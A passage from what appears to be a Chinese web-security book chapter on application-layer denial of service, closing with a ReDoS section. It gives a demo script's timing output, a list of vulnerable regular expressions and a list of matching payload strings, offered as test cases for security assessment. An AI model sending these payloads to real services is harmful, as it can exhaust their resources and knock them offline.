count=%s" % (n, elapsetime, "s" if elapsetime == 1 else "", count) return float(elapsetime) / 1000 if __name__ == "__main__": main()

测试结果如下:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105
Python Regular Expression DoS demo from http://www.computerbytesman.com/redos Platform: win32 2.6 (r26:66714, Nov 11 2008, 10:21:19) [MSC v.1500 32 bit (Intel)] Regular expression ^(a+)+$ Typical test string: aaaaaaaaaa! Max. iterations: 50 Max. match time: 2 secs For n=1, match time=0 msec, match count=0 For n=2, match time=0 msec, match count=0 For n=3, match time=0 msec, match count=0 For n=4, match time=0 msec, match count=0 For n=5, match time=0 msec, match count=0 For n=6, match time=0 msec, match count=0 For n=7, match time=0 msec, match count=0 For n=8, match time=0 msec, match count=0 For n=9, match time=0 msec, match count=0 #-------------- +-------------------------------------------- ------------------- patterns list of malicious RegEx #-------------- +-------------------------------------------- ------------------- a++ (a+)+ charclass+ ([a-zA-Z]+)* a_or_aa (a|aa)+ a_or_a (a|a?)+ a_11 (.*a){11} a_65 (.*a){65} Friedl ([^\\"']+)* #--------------- same as above again enclosed in ^and $ ---------------- start_a++ ^(a+)+$ start_charclass ^([a-zA-Z]+)*$ start_a_or_aa ^(a|aa)+$ start_a_or_a ^(a|a?)+$ start_a_11 ^(.*a){11}$ start_a_65 ^(.*a){65}$ start_Friedl ^([^\\"']+)*$ #--------------- OWASP ^[a-zA-Z]+((['\,\.\-][a-zA-Z ])?[a-zA- Z]*)*$ DataVault ^\[(,.*)*\]$ EntLib ^([^"]+)(?:\\([^"]+))*$ Java_Classname ^(([a-z])+.)+[A-Z]([a-z])+$ Cox_10 a?a?a?a?a?a?a?a?a?a?aaaaaaaaaa Cox_25 a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a? a?a?a?a?a?a?aaaaaaaaaaaaaaaaaaaaaaaaa #-------------- +-------------------------------------------- -------------------

同时,也可以使用以下测试用例验证正则表达式是否存在ReDOS问题。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
#-------------- +-------------------------------------------- ------------------- payloads list of payloads #-------------- +-------------------------------------------- ------------------- a_12X aaaaaaaaaaaaX a_18X aaaaaaaaaaaaaaaaaaX a_33X aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX a_49X aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaX Cox_10 aaaaaaaaaa Cox_20 aaaaaaaaaaaaaaaaaaaa Cox_25 aaaaaaaaaaaaaaaaaaaaaaaaa Cox_34 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Java_Classname aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! EmailValidation a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! EmailValidatioX a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX invalid_Unicode (.+)+\u0001 DataVault_DoS [,,,,,,,,,,,,,,,,,,,,,,,,,,,,, EntLib_DoS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\" EntLib_DoSX \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \"X #-------------- +-------------------------------------------- -------------------

虽然正则表达式的解析算法有可能实现得更好一些,但是流行语言为了提供增强型的解析引擎,仍然使用了“na?ve algorithm”,从而使得在很多平台和开发语言内置的正则解析引擎中都存在类似的问题。

在今天的互联网中,正则表达式可能存在于任何地方,但只要任何一个环节存在有缺陷的正则表达式,就都有可能导致一次ReDOS。可能使用了正则表达式的地方

在检查应用安全时,一定不能忽略ReDOS可能造成的影响。在本节中提到的几种存在缺陷的正则表达式和测试用例,可以加入安全评估的流程中。

小结

在本章中讲述了应用层拒绝服务攻击的原理和解决方案。应用层拒绝服务攻击是传统的网络拒绝服务攻击的一种延伸,其本质也是对有限资源的无限制滥用所造成的。所以,解决这个问题的核心思路就是限制每个不可信任的资源使用者的配额。

在解决应用层拒绝服务攻击时,可以采用验证码,但验证码并不是最好的解决方案。Yahoo的专利为我们提供了更宽广的思路。

在本章最后介绍了ReDOS这种比较特殊的拒绝服务攻击,在应用安全中需要注意这个问题。

浙ICP备11005866号-12